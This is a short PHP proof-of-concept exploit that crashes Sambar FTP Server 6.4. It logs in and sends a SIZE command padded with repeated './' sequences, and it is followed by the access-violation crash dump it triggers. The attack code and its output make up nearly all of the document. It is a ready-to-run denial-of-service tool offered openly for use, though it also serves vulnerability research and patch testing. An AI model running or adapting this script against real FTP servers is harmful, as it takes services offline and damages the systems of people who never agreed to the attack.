# Sambar FTP Server 6.4 SIZE Denial Of Service
# by rgod
# mail: retrog at alice dot it
# site: http://retrogod.altervista.org

# tested on WinXP sp2

error_reporting(E_ALL);

$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('192.168.1.3');

$user="test";
$pass="test";

$junk="";
for ($i=1; $i<=160; $i++){
$junk.="./";
}

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
echo "OK.\n";
}

$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n";
} else {
echo "OK.\n";
}

$out=socket_read($socket, 240);
echo $out;

$in = "USER ".$user."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASS ".$pass."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "SIZE ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

socket_close($socket);

/*20:13:17.600 pid=0C50 tid=0148 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B])
----------------------------------------------------------------
EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73
ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00
EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E
ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10
EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00
EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00
--> MOV ECX,[EAX+4C]
----------------------------------------------------------------

20:13:17.610 pid=0C50 tid=0148 EXCEPTION (unhandled)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B])
----------------------------------------------------------------
EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73
ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00
EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E
ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10
EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00
EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00
--> MOV ECX,[EAX+4C]
----------------------------------------------------------------